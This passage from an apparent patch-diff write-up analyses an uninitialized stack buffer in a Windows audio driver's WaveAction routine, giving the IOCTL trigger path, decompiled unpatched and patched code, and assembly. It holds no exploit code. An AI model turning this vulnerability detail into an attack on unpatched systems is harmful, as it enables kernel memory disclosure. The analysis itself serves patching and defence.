2. It issues a &lt;code&gt;KSPROPERTY_CONNECTION_STATE&lt;/code&gt; set request (via &lt;code&gt;IOCTL_KS_PROPERTY&lt;/code&gt; / &lt;code&gt;DeviceIoControl&lt;/code&gt;) to change a pin's state.
3. The state handler &lt;code&gt;PinDeviceState&lt;/code&gt; (&lt;code&gt;@ 0x1C0001010&lt;/code&gt;) reads the requested state and dispatches: state &lt;code&gt;0&lt;/code&gt; (&lt;code&gt;KSSTATE_STOP&lt;/code&gt;) to &lt;code&gt;ReleaseDevice&lt;/code&gt;, &lt;code&gt;1&lt;/code&gt; (&lt;code&gt;KSSTATE_ACQUIRE&lt;/code&gt;) to &lt;code&gt;AcquireDevice&lt;/code&gt;, &lt;code&gt;2&lt;/code&gt; (&lt;code&gt;KSSTATE_PAUSE&lt;/code&gt;) to &lt;code&gt;StopStream&lt;/code&gt;, &lt;code&gt;3&lt;/code&gt; (&lt;code&gt;KSSTATE_RUN&lt;/code&gt;) to &lt;code&gt;StartStream&lt;/code&gt;.
4. &lt;code&gt;StartStream&lt;/code&gt; (&lt;code&gt;@ 0x1C00019E4&lt;/code&gt;, on the RUN path) calls &lt;code&gt;WaveAction(*(pin+0x58), 2)&lt;/code&gt;; &lt;code&gt;StopStream&lt;/code&gt; (&lt;code&gt;@ 0x1C0001C0C&lt;/code&gt;, on the PAUSE path) calls &lt;code&gt;WaveAction(*(pin+0x58), 4)&lt;/code&gt;.
5. &lt;code&gt;WaveAction&lt;/code&gt; issues the synchronous IOCTL with the partially uninitialized stack buffer.&lt;/p&gt;
&lt;h2&gt;3. Decompilation Diff&lt;/h2&gt;
&lt;p&gt;The decompiled bodies of both builds:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED WaveAction @ 0x1C00010D0&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WaveAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_FILE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// eax&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-48h] BYREF  (BytesReturned)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-40h] BYREF  (0x24-byte IO buffer, mostly UNINITIALIZED)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-24h]        (buffer offset 0x1C)&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// buffer[0x1C] = a2&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// buffer[0x18] = 1  (the only other initialized field)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// buffer[0x00..0x17] and [0x20..0x23] are never written&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KsSynchronousIoControlDevice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2B0024u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x24u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x24u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741823&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000001 STATUS_UNSUCCESSFUL&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED WaveAction @ 0x1C00011D8&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WaveAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_FILE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// eax&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-48h] BYREF&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-40h] BYREF  (buffer[0x00..0x07])&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;__int128&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-38h]        (buffer[0x08..0x17])&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-28h]        (buffer[0x18])&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-24h]        (buffer[0x1C])&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-20h]        (buffer[0x20..0x23])&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// zero buffer[0x00..0x07]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// zero buffer[0x20..0x23]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// zero BytesReturned&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// buffer[0x1C] = a2&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// buffer[0x18] = 1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// zero buffer[0x08..0x17]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KsSynchronousIoControlDevice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2B0024u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x24u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x24u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741823&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The two callers pass their action codes directly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// StartStream @ 0x1C00019E4 (RUN path):&lt;/span&gt;
&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WaveAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_FILE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// StopStream @ 0x1C0001C0C (PAUSE path):&lt;/span&gt;
&lt;span class="n"&gt;WaveAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_FILE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;The buffer starts at &lt;code&gt;[r11-0x40]&lt;/code&gt; (&lt;code&gt;r11&lt;/code&gt; = entry &lt;code&gt;rsp&lt;/code&gt;). Offsets into the 0x24-byte buffer: &lt;code&gt;0x18&lt;/code&gt; is &lt;code&gt;[r11-0x28]&lt;/code&gt;, &lt;code&gt;0x1C&lt;/code&gt; is &lt;code&gt;[r11-0x24]&lt;/code&gt;, &lt;code&gt;0x20&lt;/code&gt; is &lt;code&gt;[r11-0x20]&lt;/code&gt;, &lt;code&gt;0x08&lt;/code&gt; is &lt;code&gt;[r11-0x38]&lt;/code&gt;. The BytesReturned variable is &lt;code&gt;[r11-0x48]&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Unpatched &lt;code&gt;WaveAction @ 0x1C00010D0&lt;/code&gt; (verbatim)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010DA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__security_cookie&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11-48h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_24&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; buffer[0x1C] = a2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11-50h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11-40h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; InBuffer = buffer start&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00010FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; buffer[0x18] = 1  (only other init)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001106&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;OutSize&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; OutSize = 0x24&lt;/span&gt;
